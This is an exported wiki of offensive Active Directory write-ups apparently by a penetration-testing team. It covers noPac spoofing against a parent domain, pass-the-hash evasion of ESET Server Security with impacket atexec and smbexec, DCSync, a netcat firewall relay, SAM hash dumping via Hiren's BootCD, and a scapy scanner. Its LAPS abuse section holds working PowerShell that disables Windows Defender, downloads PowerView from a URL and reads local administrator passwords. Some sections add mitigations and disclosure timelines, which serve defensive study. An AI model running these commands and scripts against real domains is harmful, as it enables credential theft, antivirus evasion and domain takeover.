# ABOUT US
{% hint style="info" %}
The unsafe-inline is a team that aim to develop security software, research vulnerability on various platforms.
{% endhint %}
{% code title="AUTHORS" %}
```
Metin Yunus Kandemir
Github: https://github.com/passtheticket
ExploitDB: https://www.exploit-db.com/?author=9929
Mustafa Gündoğdu - b3kc4t
Github: https://github.com/mustgundogdu
ExploitDB: https://www.exploit-db.com/?author=10823
```
{% endcode %}
# UNSAFE
{% hint style="info" %}
The goal of unsafe section is to publish post about attack paths and zero-day vulnerabilities that are discovered by unsafe-inline team.
{% endhint %}
{% hint style="warning" %}
If you think that something is wrong about code block or statement, please [notify](/) us.
{% endhint %}
# sAMAccountName Spoofing in the Forest
Exploiting sAMAccountName spoofing (CVE-2021-42278 & CVE-2021-42287) from the child domain can led to compromise the parent domain
### Description
Parent domain can be compromised from a user of the child domain using the `noPac.exe` (sAMAccountName spoofing exploit) is written by cube0x0. I notice that he didn't refer example command to compromise the parent domain.
{% hint style="info" %}
**Forest Information**
unsafe.local = parent domain
gotham.unsafe.local = child domain
user1 = user of the gotham domain
{% endhint %}
For above scenario, you must set `-dc` parameter as a domain controller of the parent domain without specifying `-domain` parameter because if you specify a parent domain name with the credentials of a child domain user, invalid credentials error occurs in the `NetworkCredential` class.
If you specify the child domain name, a machine account will be added to `gotham.unsafe.local` by the noPac exploit and it fails our objective. So `NetworkCredential.argDomain` should be empty. Username and password are enough to connect parent DC successfully. (trust relations) We can see this adding line 399.
The domain name that is required for adding a machine will be extracted from the specified DC name (line 421).
{% code title="Commands" %}
```
noPac.exe -user [child-user] -pass [pass] -dc [parent-dc] -mAccount [machine-name] -mPassword [machine-pass] -service cifs -ptt
dir \\parent-dc\c$
```
{% endcode %}
# Author: Metin Yunus Kandemir
### Reference
# Pass-the-Hash Attack Over Named Pipes Against ESET Server Security
## **Introduction**
Pass-the-hash attack is a part of the Lateral Movement as is known to all. It can be a crucial technique for compromising the domain environment. Suppose that you obtained the NT hash of built-in local admin privilege user and detected this NT hash authenticates other servers due to victim user used to the same password on different servers. In another scenario, you compromised the NT hash of a user that has high privilege on the Active Directory. The next step should get initial access. This article focuses on using the NT hash to execute commands successfully on the target server which includes ESET Server Security and File Security even if the packet inspection settings restrict communication with a few services. All scenarios are conducted targeting Windows Server 2012 R2 which runs ESET Server/File Security product. Keep in mind that these techniques will generate a lot of event logs.
{% hint style="warning" %}
Eset released a few updates that product renaming from ESET File Security for Microsoft Windows Server to ESET Server Security for Microsoft Windows Server with version 8.012003.0.
{% endhint %}
One of the ESET Server Security features is network attack protection. They describe this protection as “*ESET Network Attack Protection improves detection of known vulnerabilities on the network level.*” This feature makes different the Server Security product than traditional antivirus systems. There are a few advanced options to prevent lateral movement via packet inspection and intrusion detection features. For instance; deny communication with the server service, remote registry service, `LSA`, etc. However, packet inspection settings don’t handle this issue properly. A few services can be used for communication without getting alert and block by intrusion detection.
“[*MS-RPC (Microsoft Remote Procedure Call) is a protocol that allows requesting service from a program on another computer without having to understand the details of that computer's network. An MS-RPC service can be accessed through different transport protocols, among which:*](https://www.thehacker.recipes/active-directory-domain-services/recon/ms-rpc)
[*· a network SMB pipe (listening ports are 139 & 445)*](https://www.thehacker.recipes/active-directory-domain-services/recon/ms-rpc)
[*· plain TCP or plain UDP (listening port set at the service creation)*](https://www.thehacker.recipes/active-directory-domain-services/recon/ms-rpc)
[*· a local SMB pipe*](https://www.thehacker.recipes/active-directory-domain-services/recon/ms-rpc)
[*RPC services over an SMB transport, i.e. port 445/TCP, are reachable through "named pipes"' (through the `IPC$` share).*](https://www.thehacker.recipes/active-directory-domain-services/recon/ms-rpc)”
The Eset Server Security packet inspection detects plain TCP or plain UDP packets and blocks them according to packet inspection settings. However, a remote user can still establish a connection to restricted services through named pipes (`\pipe\atsvc and \pipe\svcctl`). The advantage of this connection method is encrypted traffic.
## Command Execution Through ATSVC
The malicious user that obtains NT hash of Administrator user (`RID 500`) is restricted for remote password and hash extracting, admin share connection and pass-the-hash attack by applied the following settings which prevent access to services.
For example, [`impacket wmiexec`](https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py) python script is blocked due to “connection to other RPC service” event (`wmiexec` needs `DCOM`).
The default `WMI` namespace is `root/cimv2` and classic `WMI` uses `DCOM` to communicate with devices.
When the `wmiexec` script makes a `DCOM` connection request, Eset Server Security detects and blocks packets. (`DCERPC` packet is caught)
\
As another example, `pth-winexe` is failed due to it can not connect to `\svcctl` pipe. ([Named Pipe: `\pipe\svcctl` , Description: Service control manager and server services, used to remotely start and stop services and execute commands.](https://0xffsec.com/handbook/services/msrpc/))
However, a remote user can bypass these restrictions to execute commands with `SYSTEM` privileges on the target server through the `Task Scheduler service` with [impacket atexec](https://github.com/SecureAuthCorp/impacket/blob/master/examples/atexec.py) python script and NT hash of the user that has local Administrator(`RID 500`) privileges.
Microsoft AT-Scheduler Service is described as following:
“[This is a DCE/RPC based protocol used by CIFS hosts to access/control the AT-Scheduler Service across a network. This dissector is described by an IDL file and is automatically generated by the Pidl compiler.](https://gitlab.com/wireshark/wireshark/-/wikis/ATSVC)
[Protocol dependencies**;** DCE/RPC: This protocol is implemented ontop of the DCE/RPC transport. This protocol is often access from the \PIPE\atsvc named pipe on IPC$ but can also be reached through a dynamically assigned TCP port. Accessing this service using TCP as transport requires the support of the EPM Endpoint Mapper service.](https://gitlab.com/wireshark/wireshark/-/wikis/ATSVC)”**5** The atexec.py makes a connection through \pipe\atsvc pipe. (RPC over SMB communication)
The atexec.py makes a connection through `\pipe\atsvc` pipe. (`RPC` over `SMB` communication)
Below screenshot shows `RPC over SMB` communication steps after the python script was executed:
1- Establish a `TCP`connection on `TCP` port 445.
2- Negotiate dialect request/response.
3- Session Setup Request/Response to establish the `SMB` session.
On the targeted server-side;
1- Task file is created under the `Windows\System32\Tasks` and the registry key is created.
2- .tmp file that includes the output of the task is created while the task is running.
3- Then task file is deleted which is locates under the `Windows\System32\Tasks` directory and the registry key is closed.
4- The output file `(ADMIN$\Temp\{random_value}.tmp` file is printed to the terminal via smbConnection.
5- The output file (`.tmp` file) is deleted
Also, we can run commands which include space characters according to the following code block:
Below explains this basically; typed words after the first space are defined as an argument.
## Command Execution Through SVCCTL
[Impacket smbexec](https://github.com/SecureAuthCorp/impacket/blob/master/examples/smbexec.py) python script executes commands on the target upon the `\svcctl` named pipe binding is completed. (Named Pipe: `\pipe\svcctl` , Description: Service control manager and server services, used to remotely start and stop services and execute commands.)
We mentioned above that `pth-winexe` is caught by the Eset Server Security while it is connecting the `\svcctl` named pipe. Interestingly, `smbexec` connects the `\svcctl` as well. However, it is not caught by the Eset agent. Encrypted `SMB` traffic (between attacker machine and server) is one of the reasons undetectable communication to Service Control Manager service. Unfortunately, this method will drop a lot of event logs that increases attack detectability.
The script creates the `execute.bat` file under the `c:\Windows\Temp` directory and then creates a service that has the same name as an executed command. The service is triggered with the `hRStartServiceW` function in the `scmr` module.
The executed command is echoed to `\\127.0.0.1\C$\_output` file.
For example, if we type `ipconfig /all` as a command:
In this case, contrary to what is claimed, the Service Control Manager service can be reached by the attacker.
## Attack Approaches Against Domain Controller
Well, we discussed that Eset Server Security is installed on the Windows Server operating system without additional roles. Let’s look closely at what happens if targeting Domain Controller. The main goal is to execute a command on the Domain Controller without blocking by Eset Server Security.
Assuming that you compromised a client or server which had joined the Active Directory and dump NT hash value of domain admin user from `LSASS`. In this case, we have a few approaches.
1\. Trying to crack NT hash value (dependent password complexity)
2\. Conducting `DCSync` attack to get the `krbtgt` account hash for Golden Ticket
3\. Connecting Active Directory with NT user hash with
4\. Pass-the-Hash attack
5\. Overpass-The-Hash Attack
We will handle pass-the-hash and `DCSync` attack methods in this document.
### **Conducting DCSync attack to get Krbtgt account hash for Golden Ticket**
If we attempt to get the domain users list and its hashes using secretsdump6 script through `MS-DRSR` `(Directory Replication Service Remote Protocol)` `DRSGetNCChanges()` call. It will be caught that `DCERPC` bind request to port `TCP 135 (RPC)`by packet inspection.
We can evade using the `-use-vss` option which uses vssadmin to get a copy of `NTDS.dit`. The remote execution step is completed with the smbexec method which sends encrypted `SMB` packets.
Golden Ticket attack can be conducted upon `krbtgt` user hash is obtained with above techniques.
### **Conducting Pass-the-Hash attack**
This section is similar targeting Windows Server which runs Eset Server Security. Please note that targeting Windows server you must obtain local Administrator (`RID 500`) or member of Domain Admins group user (or member of a domain group which has local administrator privilege). If you conduct `PtH` against server in the `WORKGROUP` (not joined Active Directory environment), Administrator user which has `RID 500` must be compromised because the `LocalAccountTokenFilterPolicy` does not exist, so `0`“value default and only the `RID 500` “Administrator” account can conduct remote administration tasks.
For example, if we try to connect with a member of a local Administrators group that has a different `RID` value than `500`, the “access is denied” error is returned.
### Bonus:MS-EFSR abuse (PetitPotam)
If you try to coerce the Windows Server to authenticate to other machines via `MS-EFSRPC EfsRpcOpenFileRaw` function without credential, the packet inspection will detect `DCERPC` packet and block the connection.
However, domain user can still connect named pipes due to communication is encrypted for binding.
{% hint style="danger" %}
Coming RPC call packets from the domain controller to attacker machine could be captured as clear. (not from client to DC)
{% endhint %}
The Eset Server Security can prevent stealing NTLMv2 hash of computer account if attacker try to bind named pipes without credentials.
# Author: Metin Yunus Kandemir
## Timeline
* On 14 June 2021 the issue is reported to vendor.
* On 21 June 2021 our submission is classified as functional bug and was passed to their development team for further review.
* On 27 July 2021 the vendor defined as `won't` fix issue
## **Reference**
{% embed url="" %}
{% embed url="" %}
{% embed url="" %}
{% embed url="" %}
{% embed url="" %}
{% embed url="" %}
# Netcat Relay
Post-exploitation aşamasında hedef sunucu üzerinde hizmet veren ssh, ftp, rdp, vnc gibi servislere yapılan inbound isteklerin network-based firewall veya host-based firewall'un bloklaması nedeniyle erişim sağlanamayabilir. Aynı zamanda firewall bazı portlar için inbound isteklere izin veriyorsa sunucu üzerinde netcat ile yönlendirme yaparak bu servislere erişim elde edilebilir.Senaryo şu şekilde olsun:
* Hedef sunucu üzerinde shell erişimimiz var.
* Network-based firewall, 22 (ssh-tcp) portuna inbound erişimi engellerken 80,443 (tcp) portlarına yapılan inbound istekleri kesmiyor.
* Ele geçirdiğimiz sunucu 443 portu üzerinde herhangi bir servis çalıştırmıyor.
* Hedef sunucuya, Windows bilgisayardan ssh bağlantısı yapılmak isteniyor.
Shell alınmış sunucu üzerinde netcat ile 443 portuna gelen istekleri 22 (ssh) portuna yönlendirerek firewall kuralına takılmadan ssh bağlantısı elde edilebilir. Senaryo, firewall konfigürasyonuna göre değişebilir ve netcat listener 443 yerine farklı bir port üzerinde de çalıştırılabilir tabii ki.
Hedef sunucu (192.168.211.130 - Ubuntu) üzerinde netcat 443 portunu dinleyecek ve gelen isteği 22 (ssh) portuna forward pipe ( | ) ile iletecektir. Forward pipe ( | ) netcat listener'a gelen veriyi netcat client'a gönderir fakat netcat çift yönlü bir iletişim sağlamaktadır. Response almak için ise oluşturulan backpipe adlı dosya kullanılacak ve bu sayede netcat client'tan gelen veri netcat listener'a iletilecek çift yönlü iletişim kurulmuş olacaktır.
Hedef sunucunun ssh portuna bağlantı yapılmaya çalışıldığında beklenildiği gibi connection timed out hatası alınır.
İstek sunucunun (192.168.211.130 - Ubuntu) 443 portuna gönderildiğinde ise başarılı bir şekilde ssh bağlantısı sağlanmış olur.
# Author: Metin Yunus Kandemir
Reference:
{% embed url="" %}
# Hiren's BootCD in the AD
### Usage of Hiren's BootCD PE for Active Directory Environments
### Introduction
"Hiren's BootCD PE (Preinstallation Environment) is a restored edition of Hiren's BootCD based on Windows 10 PE x64. Since there are no official updates after November 2012, PE version is being developed by Hiren's BootCD fans. It includes the least , best updated free tools used in Hiren's BootCD"
This document explains usage of Hiren's BootCD PE for pass-the-hash attack in domain environment . Malicious user can obtain mscachv2 hashes of domain users and nt hashes of local users using Hiren's BootCD PE. NT hashes can be used to conduct pass the hash attack, mscachv2 hashes can be cracked with offline brute force attacks.
### Attack Path - Hiren's Boot in AD
* Lateral Movement with Hiren's BootCD PE
* Getting ntlm hash of local users and conducting lateral movement.
#### Requirements
To conduct this attack paths, certain requirements are mandatory.
1. Attacker must be domain user.
2. Python is installed on Windows.(B3KC4T)
3. Hiren's BootCD PE and bootable usb.
### Proof Of Concept
#### Attack- Hiren's Boot in AD
1. For this attack I assume that ftuygun is domain user and uses B3KC4T computer.
If there are local users that use same password on different workstations, ftuygun
can conduct pass the hash attack in domain environment using Hiren’s BootCD.
2\. ftuygun domain user can copy SAM,SECURITY and SYSTEM files from C:\Windows\system32\config directory to his desktop (C:\Users\ftuygun\Desktop) There is no restriction on copying process because Hiren’s BootCD doesn’t run over C: driver that includes Windows OS system files.
3\. Using secretsdump.py ftuygun can extract ntlm hashes of local users and Domain Cached Credentials 2 (DCC2) hashes of domain users.
I suppose ftuygun extracted NT and DCC2 (mscachv2) hashes from the files after mkandemir had session on B3KC4T Workstation. In this case , mkandemir domain user mscachv2 hash is obtained.
4\. Malicious domain user can crack mscachv2 hash. Also, he can conduct pass the hash attack to other Windows clients with hashes of local admin users. The point to pay attention is domain user doesn’t have to local admin rights for this attacks.
### Mitigation
To avoid these attacks that are explained: (pass the hash attack with nt hash, offline brute force attack for Mscachv2 hash):
* Use Bitlocker for driver that contains Windows operationg systems files.
* Assign password to BIOS.
* Disable usb ports.
# Author: Metin Yunus Kandemir
# Abusing LAPS
Default value of ms-DSMachine-Account-QuotaAttribute with LAPS Leading to Persistence and Information Disclosure
### Introduction
This blog post explains a misconfiguration based flaw about Local Administrator Password Solution. `ms-DS-Machine-Account-Quota` is defined as *“The number of computer accounts that a user is allowed to create in a domain."* The `ms-DS-Machine-Account-Quota` is attribute that defines number of computer accounts could be joined to domain by domain user. `ms-Mcs-AdmPwd` is attribute that stores the clear-text local Administrator password for the computer object. It can be set on each computer after LAPS installation for domain environment. *“The ‘Local Administrator Password Solution’ (LAPS) provides management of local account passwords of domain joined computers. Passwords are stored in Active Directory (AD) and protected by ACL, so only eligible users can read it or request its reset.”* **If the `ms-DS-Machine-Account-Quota` attribute is default and there is no delegation about domain join permissions to add computer to Active Directory , a domain user can add computer account to active directory domain** using the `ms-ds-machine-account-quota` attribute which is set “10” value as default. **So that user can read `ms-Mcs-AdmPwd` attribute value** **by obtaining Owner Rights on computer** that is added by himself even if LAPS configuration is completed correctly .
Domain user gains`All extended rights` over the computer account even if All extended rights permissions are disabled on Organizational Unit and all descendant objects during LAPS configuration process.(Microsoft LAPS\_OperationsGuide.docx document) **So that domain user reads password of local administrator user and uses the password for persistence. The user can bypass GPO restrictions obtaining password of local admin user. For example, user can edit registry settings or add own account to local administrators group after GPO which removes undefined users from local administrators group. Also attacker can obtain information about complexity of Administrator passwords and create wordlist according to complexity policies. Then attacker can conduct bruteforce attack against to Administrator user that was not locked never.**
### Scenario
{% hint style="info" %}
Domain name: offensive.local, samAccountName: mkandemir
organizational unit (OU): DomainComputers
{% endhint %}
Assuming that `mkandemir` is a domain user that has privilege of adding computer account to domain `offensive.local` up to 10 default (`ms-ds-machine-account-quota`) and there is no delegation about domain join permissions to add computer to Active Directory**.** Laps configuration is applied for `DomainComputers` organizational unit that includes adding new computer accounts. According to below configuration , only system and members of Domain Admins group reads local admin passwords so mkandemir domain user must not read local Administrator password (ms-Mcs-AdmPwd) in the teory. **Configuration is applied according to Microsoft “LAPS\_TechnicalSpecification” Word document**. In Stage 6.2, it says *“Delegation of permissions on computers accounts is performed on OU (OUs) that contain computer accounts in scope of the solution.”*
#### Remove All Extended rights permission
#### Add Write permission to ms-Mcs-AdmPwdExpirationTime and ms-Mcs-AdmPwd attributes to SELF
#### Add CONTROL\_ACCESS permission to ms-Mcs-AdmPwd attribute
#### Add Write permission to ms-Mcs-AdmPwdExpirationTime attribute
#### Setup of auditing of password reads
Permissions for `DomainComputers` are following before a computer is added to organizational unit by `mkandemir` user.
### Proof of Concept
* Open non-domain joined Windows virtual machine.
* Download LAPS.x64.msi and install it with powershell module extension (AdmPwd.PS)
* Import AdmPwd.PS
* ```
Import-Module AdmPwd.PS
```
* Add computer to Active Directory with domain user creds:
* ```
Add-ComputerToDomainWithUserRights
```
* Read local admin password and determine password policy:
* If you are still a member of local administrators after updating GPO.\
Read ms-mcs-admpwd attribute via PowerView\.ps1:
```
Get-LapsLocalAdminPassword -disableDefender
```
* If you are not a member of local administrators after updating GPO.\
Read ms-mcs-admpwd attribute via AdmPwd.PS:
```
Get-LapsAdmPwd -LapsInstalled
```
### Details
#### Joining Computer Account to Active Directory using ms-DS-Machine-Account-Quota attribute default value
`offensive\mkandemir` user adds computer (`DESKTOP-G8E7GKM`) and obtains local Administrator rights before computer is rebooted. Basic powershell script could be used for joining domain and adding account to local administrators group.
```
function Add-ComputerToDomainWithUserRights {
<#
.SYNOPSIS
This script joins a computer to domain with domain user rights by using ms-DS-Machine-Account-Quota attribute.
Also, adds domain user to local Administrators group.
.PARAMETER dcIp
The parameter dcIp is used to define the IPv4 address of Domain Controller.
.PARAMETER dName
The parameter dName is used to define the Domain Name.
.PARAMETER uName
The parameter uName is used to define the value of Domain User samAccountName attribute.
.PARAMETER restart
The parameter restart is used to restart computer after adding process.
.EXAMPLE
PS C:\> Add-ComputerToDomainWithUserRights -restart
PS C:\> Add-ComuterToDomainWithUserRights
.NOTES
Windows Powershell must be run as Administrator on computer that will be joined to domain.
If running script is disabled on your system, execute following command firstly:
Set-ExecutionPolicy -ExecutionPolicy Unrestricted -Scope CurrentUser
#>
param (
[string]$dcIp = $(Read-Host -Prompt '[*] Domain Controller IPv4 address '),
[string]$dName = $(Read-Host -Prompt '[*] Domain Name '),
[string]$uName = $(Read-Host -Prompt '[*] Domain UserName '),
[switch]$restart
)
begin {
Get-NetAdapter
[int]$index = $(Read-Host -Prompt '[*] index of interface ')
}
process {
Set-DnsClientServerAddress -InterfaceIndex $index -ServerAddresses $dcIp -ErrorAction Stop
Write-Host "[*] Adding computer account to Active Directory." -ForegroundColor Yellow
Add-Computer -DomainName $dName -Credential $dName\$uName -Verbose -ErrorAction Stop
Add-LocalGroupMember -Group "Administrators" -Member "$dName\$uName"
Write-Host "[+] $uName domain user is added to local administrators group." -ForegroundColor Green
Write-Host "[*] Restarting is required to achieve adding process." -ForegroundColor Yellow
if ($restart) {
Restart-Computer
} else {
Write-Host "[-] Computer restarting is cancelled!" -ForegroundColor Red
}
}
}
```
The user restarts computer after this process and logs on `DESKTOP-G8E7GKM` computer as `offensive\mkandemir` domain user.
#### Reading ms-Mcs-AdmPwd attribute
**a)** If there is no a group policy object(GPO) that defines who are local users so that mkandemir user remains local admin after computer is rebooted.
`mkandemir` user can read `ms-Mcs-AdmPwd` attribute using `Get-NetComputer` cmdlet from `PowerView.ps1` . However `PowerView.ps1` is detected by Windows Defender that must be disabled so local admin right is required. The user can disable Defender and read local administrator password even if `All extended rights` permission is removed from users and groups **before computer adding process**. Above LAPS configuration defines `Domain Admins` group is authorized for reading local admin passwords but mkandemir user can gain `All Extended Rights` over `DESKTOP-G8E7GKM` object that added by himself. This is possible because `ms-DS-Machine-Account-Quota` attribute value is `10` defaultly.
#### Reading ms-Mcs-AdmPwd attribute that stores local admin user password (with Powerview\.ps1):
```
function Get-LapsLocalAdminPassword {
<#
.SYNOPSIS
This script reads ms-Mcs-AdmPwd and ms-Mcs-AdmPwdExpirationTime attributes if user have all
extended rights on computer account.
.PARAMETER pUrl
The parameter pUrl is used to define the URL of PowerView script.
.PARAMETER disableDefender
The parameter disableDefender is used to disable Windows Defender.
.EXAMPLE
PS C:\> Get-LocalAdminPassword -disableDefender
.NOTES
Windows Powershell should be run as domain user rights with local admin privileges.
If you have Internet connection during penetration test,powerview url is following.
https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1
If running scripts is disabled on your system, execute following command firstly:
Set-ExecutionPolicy -ExecutionPolicy Unrestricted -Scope CurrentUser
#>
param (
[string]$pUrl = $(Read-Host -Prompt '[*] Url of Powerview.ps1 script '),
[switch]$disableDefender
)
begin {
Write-Host " Obtaining ms-mcs-admpwd attribute value via MS-DS-Machine-Account-Quota" -ForegroundColor Green
}
process {
$dPath = $env:USERPROFILE
Write-Host "UserProfile: $dPath" -ForegroundColor Yellow
$hName = $env:COMPUTERNAME
Write-Host "Computername: $hName" -ForegroundColor Yellow
Write-Host "[*] Windows Defender will be disabled for running PowerView.ps1 $disableDefender"
if ($disableDefender) {
Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable -ErrorAction Stop
Invoke-WebRequest $pUrl -OutFile $dPath\Desktop\PowerView.ps1 -TimeoutSec 30
Import-Module -Name $dPath\Desktop\PowerView.ps1
$admPwd = Get-DomainComputer -Identity $hName | Select-Object -Property ms-mcs-*
Write-Host "$admPwd" -ForegroundColor Green
$eTime = Read-Host -Prompt '[*] String admpwd expirationtime'
$expTime = cmd.exe /c "w32tm /ntte $eTime"
Write-Host "$expTime" -ForegroundColor Green
} else {
Write-Host "[-] Cancelled!" -ForegroundColor Red
}
}
}
```
**b)** If there is a group policy object (GPO) that defines who are local users so that `mkandemir` user does not remains local admin after computer is rebooted. To read ms-mcs-admpwd attribute value, user must install LAPS management Powershell module (`AdmPwd.PS`) before adding computer to Active Directory. So that password could be read using AdmPwd.PS module.
#### Reading ms-Mcs-AdmPwd attribute that stores local admin user password (with AdmPwd.PS):
```
function Get-LapsLocalAdminPassword {
<#
.SYNOPSIS
This script reads ms-Mcs-AdmPwd and ms-Mcs-AdmPwdExpirationTime attributes if user have all extended rights on computer account without
local admin privileges.
.PARAMETER LapsInstalled
The parameter LapsInstalled is used to define the AdmPwd.PS module is installed.
.PARAMETER OtherComputer
The parameter OtherComputer is used to query for other computer.
.EXAMPLE
PS C:\> Get-LocalAdminPassword –LapsInstalled
PS C:\> Get-LocalAdminPassword –LapsInstalled -OtherComputer
.NOTES
Windows Powershell should be run as domain user rights. If GPO is applied which only specified users join local adminstrators group , this script could be executed without admin rights.
If running scripts is disabled on your system, execute following command firstly.
Set-ExecutionPolicy -ExecutionPolicy Unrestricted -Scope CurrentUser
#>
param (
[switch]$LapsInstalled,
[switch]$OtherComputer
)
begin {
Write-Host "Obtaining ms-mcs-admpwd attribute value via MS-DS-Machine-Account-Quota" -ForegroundColor Green
}
process {
$dPath = $env:USERPROFILE
Write-Host "UserProfile: $dPath" -ForegroundColor Yellow
$hName = $env:COMPUTERNAME
Write-Host "Computername: $hName" -ForegroundColor Yellow
Write-Host "[*] Did you install LAPS management powershell module? $LapsInstalled"
if ($LapsInstalled) {
Import-Module AdmPwd.PS
Write-Host "[*] Would you like to query another computer account you added yourself? $otherComputer"
if ($OtherComputer) {
$computer = Read-Host -Prompt "[*] Computer name "
Get-AdmPwdPassword -ComputerName $computer | format-list -Property ComputerName, ExpirationTimestamp, Password
} else {
Get-AdmPwdPassword -ComputerName $hname | format-list -Property ComputerName, ExpirationTimestamp, Password
}
} else {
Write-Host "[-] Cancelled!" -ForegroundColor Red
}
}
}
```
### Vulnerable Situations
1. A domain user can escalate privilege over computer that was added by own when a laps gpo is applied to computer. (documented in this blog):\
a. The machine account password change is initiated by the computer every 30 days by default.\
b. The restricted groups gpo can remove the user from local administrators group.\
The user still can escalate privilege to local admin reading `ms-mcs-admpwd` after above two situations.
2. The Laps gpo is applied to `PC` organizational unit and `lapsAdmin` group delegated for LAPS management.\
The user has adding computer right to `PC` organizational unit and is not member of `lapsAdmin` group.\
The user can read `ms-mcs-admpwd` attribute of computer that was added by own.
### Conclusion
**If the** `ms-DS-Machine-Account-Quota` **attribute value is default and there is no delegation about domain join permissions to add computer to Active Directory , a domain user can add computer account to domain** **using the** `ms-ds-machine-account-quota` **attribute .** **So that domain user reads password of local administrator user and uses the password for persistence. For example, user can edit registry settings or add own account to local administrators group after GPO which removes undefined users from local administrators group. Restrictions and GPOs that were applied by the AD admins, can be bypassed in the enterprise environments in this way. Also,(defining complexity is possible with GPRegistryPolicy) user can add computer and read LAPS password so that he can obtain information about complexity and length of other Administrator passwords. Because, LAPS carries out similar password property for all computer accounts that group policy is applied.**
{% embed url="" %}
### Mitigation
{% hint style="danger" %}
~~Microsoft LAPS 6.2 installation document don't handle this issue and they didn't update it.~~ **You can make configuration according to Microsoft LAPS\_OperationsGuide.docx and LAPS\_TechnicalSpecification documents.**
{% endhint %}
Active Directory by default allows ordinary users to join machines to the domain, up to the limit imposed by the msDS-MachineAccountQuota attribute. The user must have local Administrator privileges on a machine in order to perform the join. When a machine is joined this way, the resultant security configuration on the machine account allows the joining user to read the value of the ms-Mcs-AdmPwd attribute, even after the user in question no longer has local Administrator privileges on a machine.
Machine that have been joined this way can be discovered by querying the msDS-CreatorSid attribute attribute, for example:
```
Get-ADComputer -LdapFilter '(msds-CreatorSid=*)' -SearchBase '' -SearchScope Subtree
```
You can prevent this issue by disabling the ability of ordinary users to join machines to the domain. This can be done by setting the ms-DS-MachineAccountQuota attribute to zero.
# Author: Metin Yunus Kandemir
### References
>
>
>
>
>
>
>
>
>
>
>
{% embed url="" %}
# INLINE
{% hint style="info" %}
The goal of inline section is to develop scripts that make easier enumeration process.
{% endhint %}
{% hint style="warning" %}
If you think that something is wrong about code block or statement, please [notify](/) us.
{% endhint %}
# Asena
Asena is the Female wolf that guides the Oğuz Kağan in Turkish Mythology. The Reason for the Asena analogy comes from the ability to guide packages on the network. Written with Asena scapy module , to run you need to download scapy module.
{% hint style="info" %}
Asena for make it work need to download scapy module. [home page link](https://scapy.net/). Give it a click if you like.
{% endhint %}
####
### INSTALLATION
Let's install scapy developer first :
* cd /tmp/
* git clone
* cd scapy
* python setup.py install
* git clone
### FEATURES
**ACTIVE MACHINE DETECTION ON NETWORK**
As everybody knows basic process logic in initial phase created arp packages on determined subnet than makes broadcasting. And after determines responding device.
This process scapy code part is as following**:**
1. This part is performs described above situtaion and created arp packages assignment to 'frame' variable**.**
2. Has been made broadcasting determined target subnet with using srp function.
### TCP CONNECT SCAN
In this scan a connection to the target system is established. Than this connection detect port status on target system with received flag values.Asena tool make with your entry specific tcp port number or some default tcp port numbers for this scan.For example displays like following screenshouts.
Some of the port statues structure and descriptions are as follows.
**OPEN PORT**
Created tcp SYN package in initial phase. Than next this package was sent and received SYN+ACK flags response.After that created ACK package and this package was sent .
As a result of this If received RST package means port is open.This process scapy code part is as following.
1. Created Tcp Syn package in this section and added required parameters . Next this package sent on target system and received response assignment to ‘Tcp\_packet’ variable.
2. If received syn and ack packages on the target system, this part will work.(Note:0x12 hex value is equal to Syn+Ack)
3. Created ack package in this section and this package was sent on target system. Than received response assignment to ‘ack\_packet’ variable.
4. Finally the response tcp flags checked . If this flag is 0x4(rst) detected mean port is open.
**CLOSE PORT**
Created Tcp Syn package in initial phase and was sent . As result of this if received Ack+Rst packages port is close. This process scapy code part is as following.
1. Created Tcp Syn package in this section and added required parameters. Next this package sent on target system and received response assignment ‘Tcp\_packet’ variable.
2. If received Ack and Rst packages on target system, this part will work and detected port is close. (Note: 0x14 hex value is equal to Ack+Rst)
**FILTERED PORT**
Created Tcp Syn package in initial phase .Than next this package was sent and received Syn+Ack packages response.After that created Ack package and this package was sent.As a result if none response detected port is filtered.This process scapy code part is as following.
1. Created Tcp Syn package in this section and added required parameters . Next this package sent on target system and received response assignment to ‘Tcp\_packet’ variable.
2. If received syn and ack packages on the target system, this part will work.(Note:0x12 hex value is equal to Syn+Ack)
3. Created ack package in this section and this package was sent on target system. Than received response assignment to ‘ack\_packet’ variable.
4. Finally the response tcp flags checked . If this none response detected mean port is filtered.
### **XMAS SCAN**
In this tcp scan send Fin,Psh and Urg flags target system and tried to be detected port status.Other İmportant situtaion of the this scan will not work against system running Microsoft Windows, Cisco, BSDI, HP/UX,MVS and IRIX.They will all respond RST packets, even from open ports. That’s why this process tried based on linux system.
For example displays like following screenshots.
Some of the port statuses structure and descriptions are as follows.
**OPEN PORT**
Created Tcp package containing Psh,Fin,Urg flags In initial phase. Than next this package was sent and as a result if none response detected port open or filtered.This process scapy code part is as following.
1. Created Tcp package containing Psh,Fin,Urg flags and required added parameters.Than this package sent on target system and received response assignment to ‘Tcp\_xmas\_packet’ variable.
2. Received response checked in this part and if none response means port open or filtered.
**CLOSE PORT**
Created Tcp package containing Psh,Fin,Urg flags In initial phase. Than next this package was sent and as a result if received Rst+Ack flags means port closed.This process scapy code part is as following.
1. Created Tcp package containing Psh,Fin,Urg flags and required added parameters.Than this package sent on target system and received response assignment to ‘Tcp\_xmas\_packet’ variable.
2. If received Ack and Rst packages on target system, this part will work and detected port is close. (Note: 0x14 hex value is equal to Ack+Rst)
**FILTERED PORT**
Created Tcp package containing Psh,Fin,Urg flags In initial phase. Then next this package was sent and response return is some icmp message types As is result means port is filtered. This icmp message types shown below.
* **Type 1 ==> Unassigned**
* **Type 2 ==> Unassigned**
* **Type 3 ==> Destination Unreachable**
* **Type 9 ==> Router Advertisement**
* **Type 10 ==> Router Selection**
* **Type 13 ==> Timestamp**
This process scapy code part as is following.
1. If response is use Icmp protocol, this part will work.
2. In this part checked icmp message types and if response contain this message types means port is filtered.
### NULL SCAN
In this tcp scan send Null flag target system and tried to be detected port status.Again will not work against system running Microsoft Windows, Cisco, BSDI, HP/UX,MVS and IRIX. They will all respond RST packets, even from open ports.
For example displays like following screenshots.
Some of the port statuses structure and descriptions are as follows.
**OPEN PORT**
Created tcp null package in initial phase. Than next this package was sent and as a result if not reponse means port is open.This process scapy code part is as following.
1. Created tcp null package and required added parameters . Than this package sent on target system and received response assignment to ‘Tcp\_null\_packet’ variable.
2. Received response checked in this part and if none response means port open or filtered.
**CLOSE PORT**
Created tcp null package in initial phase. Than next this package was sent and as a result if received Rst flag means port is close. This process scapy code part is as following.
1. Created tcp null package and required added parameters . Than this package sent on target system and received response assignment to ‘Tcp\_null\_packet’ variable.
